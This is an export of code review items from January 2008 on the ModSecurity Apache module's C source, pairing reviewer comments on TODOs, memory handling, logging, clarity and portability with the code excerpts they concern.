- - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 11:52:38:857 GMT-08:00 - 2008-01-07 :: 11:53:56:791 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Not sure why we would not want to deprecate a TX var. Further rules could use this even if TX is not persisted. - /* IMP1 Add message TX variables cannot deprecate in value. */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 11:54:14:673 GMT-08:00 - 2008-01-11 :: 15:04:13:383 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Missing error log needs implemented. - } else { - /* ENH Log warning detected variable name but no collection. */ - return 0; - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 12:03:17:626 GMT-08:00 - 2008-01-07 :: 23:10:15:221 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - The timeout is hardcoded to 3600. The docs state TIMEOUT is read-only, but this is not true. So, you can modify TIMEOUT. - /* IMP1 Is the timeout hard-coded to 3600? */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 14:12:19:250 GMT-08:00 - 2008-01-07 :: 14:14:28:669 GMT-08:00 - - brian - brian - apache2/msc_logging.c - item.type.label.suggestion - item.severity.label.trivial - apr_dir_make_recursive will attempt to create the dir straight away and if that fails keep backing off a dir until it can start creating, so I see no need to cache. Besides, what happens if you cache, then someone deletes the path from outside apache? - /* IMP1 Surely it would be more efficient to check the folders for - * the audit log repository base path in the configuration phase, to reduce - * the work we do on every request. Also, since our path depends on time, - * we could cache the time we last checked and don't check if we know - * the folder is there. - */ - rc = apr_dir_make_recursive(entry_basename, CREATEMODE_DIR, msr->mp); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 14:24:02:378 GMT-08:00 - 2008-01-07 :: 14:50:55:762 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - We already have support for relative filenames, but cannot get to this data from here. This needs solved by passing more data to the validate function (cmd_parms rec). Maybe need a warning here stating we do not support them yet, or it might be confusing to users that we do not here but do elsewhere. - /* TODO Support relative filenames. */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 14:33:59:432 GMT-08:00 - 2008-01-07 :: 15:59:35:056 GMT-08:00 - - brian - brian - apache2/re.h - item.type.label.suggestion - item.severity.label.trivial - Why not stored in op_param_data like @rx, etc. The param_data is used w/exec action for lua. - /* Compiled Lua script. */ - msc_script *script; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 15:55:08:220 GMT-08:00 - 2008-01-07 :: 16:02:36:938 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - This assumes lua is the only type (which it is now), but should be re-writen with a script_rec stored in param_data. - if (action->param_data != NULL) { /* Lua */ - msc_script *script = (msc_script *)action->param_data; - char *my_error_msg = NULL; - - if (lua_execute(script, NULL, msr, rule, &my_error_msg) < 0) { - msr_log(msr, 1, "%s", my_error_msg); - return 0; - } - } else { /* Execute as shell script. */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 16:00:51:901 GMT-08:00 - 2008-01-07 :: 16:04:13:185 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Not sure using an extension is a good idea here. Better I think would be to specify a type: "exec:[type=]/path/to/file" as in "exec:lua=/path/to/script" and make param_data a script_rec with a type and value. Also we use the abstract param_data here vs using a specific field as in SecRuleScript. - /* Process Lua scripts internally. */ - if (strlen(filename) > 4) { - char *p = filename + strlen(filename) - 4; - if ((p[0] == '.')&&(p[1] == 'l')&&(p[2] == 'u')&&(p[3] == 'a')) { - /* It's a Lua script. */ - msc_script *script = NULL; - - /* Compile script. */ - char *msg = lua_compile(&script, filename, engine->mp); - if (msg != NULL) return msg; - - action->param_data = script; - } - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 16:08:53:365 GMT-08:00 - 2008-01-11 :: 15:25:58:269 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Should not log_escape the actions as they will get double escaped (once now and again when logged). - } else { - rule->unparsed = apr_psprintf(ruleset->mp, "SecRuleScript \"%s\" \"%s\"", - script_filename, log_escape(ruleset->mp, actions)); - } - - - item.resolution.label.invalidWontfix - item.status.label.closed - - - - 2008-01-07 :: 16:17:58:895 GMT-08:00 - 2008-01-11 :: 15:26:18:631 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Should not log_escape the actions as they will get double escaped (once now and again when logged). - /* Add the unparsed rule */ - if ((strcmp(SECACTION_TARGETS, targets) == 0) && (strcmp(SECACTION_ARGS, args) == 0)) { - rule->unparsed = apr_psprintf(ruleset->mp, "SecAction \"%s\"", - log_escape(ruleset->mp, actions)); - } - else - if ((strcmp(SECMARKER_TARGETS, targets) == 0) - && (strcmp(SECMARKER_ARGS, args) == 0) - && (strncmp(SECMARKER_BASE_ACTIONS, actions, strlen(SECMARKER_BASE_ACTIONS)) == 0)) - { - rule->unparsed = apr_psprintf(ruleset->mp, "SecMarker \"%s\"", - log_escape(ruleset->mp, actions + strlen(SECMARKER_BASE_ACTIONS))); - } - else { - if (actions == NULL) { - rule->unparsed = apr_psprintf(ruleset->mp, "SecRule \"%s\" \"%s\"", - log_escape(ruleset->mp, targets), log_escape(ruleset->mp, args)); - } else { - rule->unparsed = apr_psprintf(ruleset->mp, "SecRule \"%s\" \"%s\" \"%s\"", - log_escape(ruleset->mp, targets), log_escape(ruleset->mp, args), - log_escape(ruleset->mp, actions)); - } - } - - - item.resolution.label.invalidWontfix - item.status.label.closed - - - - 2008-01-07 :: 16:22:43:295 GMT-08:00 - 2008-01-11 :: 15:26:48:665 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - No logging should be done here as we are passing the error_msg back to the parent and they are responsible for this. - if (*error_msg != NULL) { - /* ENH Shouldn't we log the problem? */ - return NULL; - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 16:30:41:403 GMT-08:00 - 2008-01-07 :: 16:31:00:930 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.missing - item.severity.label.trivial - Need to log on failure. - var = msre_create_var(ruleset, telts[i].key, telts[i].val, NULL, error_msg); - if (var == NULL) return -1; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 16:36:31:466 GMT-08:00 - 2008-01-07 :: 16:36:54:189 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Should replace with isvarnamechar() if possible. - while((*p != '\0')&&(*p != '|')&&(*p != ':')&&(*p != ',')&&(!isspace(*p))) p++; /* ENH replace with isvarnamechar() */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 16:39:21:316 GMT-08:00 - 2008-01-11 :: 15:28:02:997 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Fix or remove TODO. - // TODO better 64-bit support here - *error_msg = apr_psprintf(mp, "Missing closing quote at position %d: %s", - (int)(p - text), text); - free(value); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 16:39:47:318 GMT-08:00 - 2008-01-11 :: 15:28:24:355 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Fix or remove TODO. - // TODO better 64-bit support here - *error_msg = apr_psprintf(mp, "Invalid quoted pair at position %d: %s", - (int)(p - text), text); - free(value); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 16:40:15:634 GMT-08:00 - 2008-01-11 :: 16:07:58:168 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *d++ = *p++; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 16:40:43:464 GMT-08:00 - 2008-01-11 :: 16:07:34:306 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *d++ = *p++; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 20:46:50:832 GMT-08:00 - 2008-01-11 :: 16:06:54:324 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *ucs_chars++ = *c++; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 20:47:54:093 GMT-08:00 - 2008-01-11 :: 16:06:02:231 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *t++ = *p++; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 20:48:42:400 GMT-08:00 - 2008-01-11 :: 16:05:23:686 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *d++ = *s++; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 21:42:51:192 GMT-08:00 - 2008-01-07 :: 21:44:12:097 GMT-08:00 - - brian - brian - apache2/apache2_io.c - item.type.label.programLogic - item.severity.label.major - Returning here may fail to free chunks data due to modsecurity_request_body_end() not being called. - int rcbs = modsecurity_request_body_store(msr, buf, buflen, error_msg); - if (rcbs < 0) { - if (rcbs == -5) { - *error_msg = apr_psprintf(msr->mp, "Requests body no files data length is larger than the " - "configured limit (%lu).", msr->txcfg->reqbody_no_files_limit); - return -5; - } - - return -1; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 21:50:32:890 GMT-08:00 - 2008-01-07 :: 21:52:29:239 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.suggestion - item.severity.label.major - Good. This looks to solve the other issues noted as possible memory leaks in body chunk data due to modsecurity_request_body_end() not being called. Need to verify, though. - /* Register TX cleanup */ - apr_pool_cleanup_register(msr->mp, msr, modsecurity_tx_cleanup, apr_pool_cleanup_null); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 21:59:33:579 GMT-08:00 - 2008-01-11 :: 15:29:21:240 GMT-08:00 - - brian - brian - apache2/msc_util.c - item.type.label.suggestion - item.severity.label.trivial - Actually, the parens are *required* for correctness, so remove the comments. - (*invalid_count)++; /* parens quiet compiler warning */ - } - } else { - /* Not enough bytes available, copy the raw bytes. */ - *d++ = input[i++]; - count ++; - (*invalid_count)++; /* parens quiet compiler warning */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 22:03:31:138 GMT-08:00 - 2008-01-07 :: 22:04:07:108 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.irrelevant - item.severity.label.trivial - Does not appear to be used anywhere. - /** - * Destroys an engine instance, releasing the consumed memory. - */ -void msre_engine_destroy(msre_engine *engine) { - /* Destroyed automatically by the parent pool. - * apr_pool_destroy(engine->mp); - */ -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 22:04:22:398 GMT-08:00 - 2008-01-07 :: 22:04:35:724 GMT-08:00 - - brian - brian - apache2/re.h - item.type.label.irrelevant - item.severity.label.trivial - Does not appear to be used anywhere. - void DSOLOCAL msre_engine_destroy(msre_engine *engine); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 22:23:48:909 GMT-08:00 - 2008-01-11 :: 16:04:30:061 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.clarity - item.severity.label.trivial - This version should be moved up next to the normal version. - #if defined(PERFORMANCE_MEASUREMENT) -apr_status_t msre_ruleset_process_phase(msre_ruleset *ruleset, modsec_rec *msr) { - ... -} - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 22:30:42:215 GMT-08:00 - 2008-01-11 :: 16:02:09:916 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.missing - item.severity.label.major - Hmm, I thought this had already been fixed in trunk. Missing logging phase. Need to fix in 2.1.5 as well. - /** - * Removes from the ruleset all rules that match the given exception. - */ -int msre_ruleset_rule_remove_with_exception(msre_ruleset *ruleset, rule_exception *re) { - int count = 0; - - if (ruleset == NULL) return 0; - - count += msre_ruleset_phase_rule_remove_with_exception(ruleset, re, ruleset->phase_request_headers); - count += msre_ruleset_phase_rule_remove_with_exception(ruleset, re, ruleset->phase_request_body); - count += msre_ruleset_phase_rule_remove_with_exception(ruleset, re, ruleset->phase_response_headers); - count += msre_ruleset_phase_rule_remove_with_exception(ruleset, re, ruleset->phase_response_body); - - return count; -} - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 22:46:51:423 GMT-08:00 - 2008-01-11 :: 16:01:31:111 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.optimization - item.severity.label.trivial - Should move this to a static global for performance. - static const char *const severities[] = { - "EMERGENCY", - "ALERT", - "CRITICAL", - "ERROR", - "WARNING", - "NOTICE", - "INFO", - "DEBUG", - NULL, - }; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-07 :: 22:49:04:822 GMT-08:00 - 2008-01-07 :: 22:49:16:740 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.suggestion - item.severity.label.trivial - Implement TODO. - //TODO: restrict to 512 bytes - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 22:51:40:727 GMT-08:00 - 2008-01-07 :: 22:53:13:118 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.optimization - item.severity.label.trivial - tags set to NULL would be a bit better as it would stop apr_pstrcat() earlier, but tags *must* remain last or wierd results. - char *tags = ""; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-08 :: 11:44:13:484 GMT-08:00 - 2008-01-08 :: 11:45:29:864 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.optimization - item.severity.label.trivial - This causes two loops through the action list. Perhaps there is a more performant way to do these at the same time? Maybe split into two lists? - /* Perform non-disruptive actions. */ - msre_perform_nondisruptive_actions(msr, rule, rule->actionset, mptmp); - - /* Perform disruptive actions, but only if - * this rule is not part of a chain. - */ - if (rule->actionset->is_chained == 0) { - msre_perform_disruptive_actions(msr, rule, acting_actionset, mptmp, my_error_msg); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-08 :: 12:16:20:280 GMT-08:00 - 2008-01-11 :: 15:59:48:300 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.irrelevant - item.severity.label.trivial - These do not appear to be needed. - tfnspath = NULL; - tfnskey = NULL; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-08 :: 12:20:29:491 GMT-08:00 - 2008-01-11 :: 15:59:23:210 GMT-08:00 - - brian - brian - apache2/re.c - item.type.label.programLogic - item.severity.label.major - This does not appear to work as the tfnskey is not being built here. Need to build the tfnskey in this loop for this to work. - /* check cache, saving the 'most complete' */ - crec = (msre_cache_rec *)apr_table_get(cachetab, tfnskey); - if (crec != NULL) { - last_crec = crec; - last_cached_tfn = tfnscount; - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-08 :: 21:29:14:889 GMT-08:00 - 2008-01-08 :: 21:30:41:759 GMT-08:00 - - brian - brian - apache2/re_tfns.c - item.type.label.optimization - item.severity.label.trivial - No need to set this on all. Only set it once when we find the first non-space char. - (*rval)[i] = '\0'; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-08 :: 22:09:10:463 GMT-08:00 - 2008-01-11 :: 14:20:53:411 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - Indention off. - return var_simple_generate_ex(var, vartab, mptmp, - apr_pmemdup(mptmp, - msr->matched_var->value, - msr->matched_var->value_len), - msr->matched_var->value_len); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-08 :: 22:09:35:664 GMT-08:00 - 2008-01-11 :: 14:21:28:242 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - Indention off. - return var_simple_generate_ex(var, vartab, mptmp, - apr_pmemdup(mptmp, - msr->matched_var->name, - msr->matched_var->name_len), - msr->matched_var->name_len); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 10:55:38:639 GMT-08:00 - 2008-01-11 :: 14:25:15:860 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.suggestion - item.severity.label.trivial - Remove comment. - //return acmp_child_for_code(node, letter) - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:01:01:815 GMT-08:00 - 2008-01-11 :: 15:55:50:363 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.suggestion - item.severity.label.trivial - Change to #idef DEBUG_ACMP or similar. - /* printf("%c ->left %c \n", node->node->letter, node->left->node->letter); */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:01:41:424 GMT-08:00 - 2008-01-11 :: 15:56:10:175 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.suggestion - item.severity.label.trivial - Change to #idef DEBUG_ACMP or similar. - /* printf("%c ->right %c \n", node->node->letter, node->right->node->letter); */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:02:22:279 GMT-08:00 - 2008-01-11 :: 15:56:41:045 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.suggestion - item.severity.label.trivial - Change to #idef DEBUG_ACMP or similar. - /* printf("fail direction: *%s* => *%s*\n", child->text, child->fail->text); */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:02:42:897 GMT-08:00 - 2008-01-11 :: 15:54:16:807 GMT-08:00 - - brian - brian - apache2/acmp.c - item.type.label.suggestion - item.severity.label.trivial - Change to #idef DEBUG_ACMP or similar. - /* printf("fail direction: *%s* => *%s*\n", node->text, node->fail->text); */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:10:25:157 GMT-08:00 - 2008-01-11 :: 14:24:57:212 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - The 'tag' and 'severity' metadata actions should be included. Some actions are missing from the log msg. - /* Must NOT use metadata actions. */ - if ((rule->actionset->id != NOT_SET_P) - ||(rule->actionset->rev != NOT_SET_P) - ||(rule->actionset->msg != NOT_SET_P) - ||(rule->actionset->logdata != NOT_SET_P)) - { - return apr_psprintf(cmd->pool, "ModSecurity: Metadata actions (id, rev, msg) " - " can only be specified by chain starter rules."); - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 11:18:38:672 GMT-08:00 - 2008-01-11 :: 14:29:49:134 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Probably should check we were able to allocate. - msre_rule *phrule = apr_palloc(rule->ruleset->mp, sizeof(msre_rule)); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:05:40:949 GMT-08:00 - 2008-01-11 :: 14:30:01:771 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Comment or remove. - TODO - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:06:48:653 GMT-08:00 - 2008-01-11 :: 14:30:40:514 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - ENH instead of TODO - TODO - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:09:17:114 GMT-08:00 - 2008-01-11 :: 14:31:50:812 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - The 'tag' and 'severity' metadata actions should be included. Some actions are missing from the log msg. - /* Must not use metadata actions. */ - if ((dcfg->tmp_default_actionset->id != NOT_SET_P) - ||(dcfg->tmp_default_actionset->rev != NOT_SET_P) - ||(dcfg->tmp_default_actionset->msg != NOT_SET_P) - ||(dcfg->tmp_default_actionset->logdata != NOT_SET_P)) - { - return apr_psprintf(cmd->pool, "ModSecurity: SecDefaultAction must not " - "contain any metadata actions (id, rev, msg)."); - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:17:06:712 GMT-08:00 - 2008-01-11 :: 14:33:23:560 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or make ENH - // TODO Validate encoding - // return apr_psprintf(cmd->pool, "ModSecurity: Invalid value for SecRequestBodyAccess: %s", p1); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:17:55:545 GMT-08:00 - 2008-01-09 :: 12:25:33:617 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.irrelevant - item.severity.label.trivial - Remove code? - /* -static const char *cmd_rule_import_by_id(cmd_parms *cmd, void *_dcfg, const char *p1) { - directory_config *dcfg = (directory_config *)_dcfg; - rule_exception *re = apr_pcalloc(cmd->pool, sizeof(rule_exception)); - if (dcfg == NULL) return NULL; - - re->type = RULE_EXCEPTION_IMPORT_ID; - // TODO verify p1 - re->param = p1; - *(rule_exception **)apr_array_push(dcfg->rule_exceptions) = re; - - return NULL; -} - -static const char *cmd_rule_import_by_msg(cmd_parms *cmd, void *_dcfg, const char *p1) { - directory_config *dcfg = (directory_config *)_dcfg; - rule_exception *re = apr_pcalloc(cmd->pool, sizeof(rule_exception)); - if (dcfg == NULL) return NULL; - - re->type = RULE_EXCEPTION_IMPORT_MSG; - // TODO verify p1 - re->param = p1; - *(rule_exception **)apr_array_push(dcfg->rule_exceptions) = re; - - return NULL; -} -*/ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:18:34:399 GMT-08:00 - 2008-01-11 :: 14:34:07:673 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix or TODO->ENH - // TODO enforce format (letters, digits, ., _, -) - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:20:16:234 GMT-08:00 - 2008-01-11 :: 14:40:53:633 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Need to allow for relative filename based of rule file. - /* -- Geo Lookup configuration -- */ - -static const char *cmd_geo_lookup_db(cmd_parms *cmd, void *_dcfg, - const char *p1) -{ - char *error_msg; - directory_config *dcfg = (directory_config *)_dcfg; - if (dcfg == NULL) return NULL; - - if (geo_init(dcfg, p1, &error_msg) <= 0) { - return error_msg; - } - - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:22:58:798 GMT-08:00 - 2008-01-09 :: 12:23:11:462 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Portable? - /* The NOT_SET indicator is -1, a signed long, and therfore - * we cannot be >= the unsigned value of NOT_SET. - */ - if ((unsigned long)intval >= (unsigned long)NOT_SET) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen must be less than: %lu", (unsigned long)NOT_SET); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:23:33:676 GMT-08:00 - 2008-01-09 :: 12:23:39:437 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Portable? - /* The NOT_SET indicator is -1, a signed long, and therfore - * we cannot be >= the unsigned value of NOT_SET. - */ - if ((unsigned long)intval >= (unsigned long)NOT_SET) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen must be less than: %lu", (unsigned long)NOT_SET); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:24:06:001 GMT-08:00 - 2008-01-09 :: 12:24:23:994 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Could use strtol as Ivan has as well. - intval = apr_atoi64(charval); - if (errno == ERANGE) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen out of range: %s", charval); - } - if (intval < 0) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen must be positive: %s", charval); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:24:37:453 GMT-08:00 - 2008-01-09 :: 12:24:42:462 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Could use strtol as Ivan has as well. - intval = apr_atoi64(charval); - if (errno == ERANGE) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen out of range: %s", charval); - } - if (intval < 0) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen must be positive: %s", charval); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:25:36:799 GMT-08:00 - 2008-01-09 :: 12:31:35:264 GMT-08:00 - - brian - brian - apache2/apache2_io.c - item.type.label.programLogic - item.severity.label.major - Remove code? It is actually used below, so need to verify. - #if 0 -static void dummy_free_func(void *data) {} -#endif - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:27:10:252 GMT-08:00 - 2008-01-09 :: 12:29:31:617 GMT-08:00 - - brian - brian - apache2/apache2_io.c - item.type.label.programLogic - item.severity.label.major - dummy_free_func() is defined where? It is ifdef'd out at the top of source, so need to verify it is valid. - /* Do not make a copy of the data we received in the chunk. */ - bucket = apr_bucket_heap_create(chunk->data, chunk->length, dummy_free_func, - f->r->connection->bucket_alloc); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:35:21:613 GMT-08:00 - 2008-01-09 :: 13:02:40:668 GMT-08:00 - - brian - brian - apache2/apache2_io.c - item.type.label.suggestion - item.severity.label.trivial - Yes, why do we ignore the rc - why have one at all? - // TODO: Why ignore the return code here? - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 12:55:19:633 GMT-08:00 - 2008-01-11 :: 17:00:04:416 GMT-08:00 - - brian - brian - apache2/msc_reqbody.c - item.type.label.suggestion - item.severity.label.trivial - Portable way to format sizeof()? - *error_msg = apr_psprintf(msr->mp, "Input filter: Failed to allocate %lu bytes for request body chunk.", (unsigned long)sizeof(msc_data_chunk)); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:55:39:585 GMT-08:00 - 2008-01-11 :: 16:58:16:438 GMT-08:00 - - brian - brian - apache2/msc_reqbody.c - item.type.label.suggestion - item.severity.label.trivial - Portable way to format sizeof()? - *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", (unsigned long)sizeof(msc_data_chunk)); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:56:05:302 GMT-08:00 - 2008-01-11 :: 16:57:58:049 GMT-08:00 - - brian - brian - apache2/msc_reqbody.c - item.type.label.suggestion - item.severity.label.trivial - Portable way to format sizeof()? - *error_msg = apr_psprintf(msr->mp, "Failed to allocate %lu bytes for request body disk chunk.", (unsigned long)sizeof(msc_data_chunk)); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:56:51:734 GMT-08:00 - 2008-01-11 :: 14:41:50:773 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - // TODO check whether the parameter is a valid MIME type of "null" - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:58:11:331 GMT-08:00 - 2008-01-11 :: 14:42:59:645 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecAction", - cmd_action, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:58:29:461 GMT-08:00 - 2008-01-11 :: 14:46:15:813 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecDataDir", - cmd_data_dir, - NULL, - CMD_SCOPE_MAIN, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:58:45:647 GMT-08:00 - 2008-01-11 :: 14:46:51:173 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecDefaultAction", - cmd_default_action, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 12:59:03:959 GMT-08:00 - 2008-01-11 :: 14:47:05:294 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecResponseBodyLimit", - cmd_response_body_limit, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - 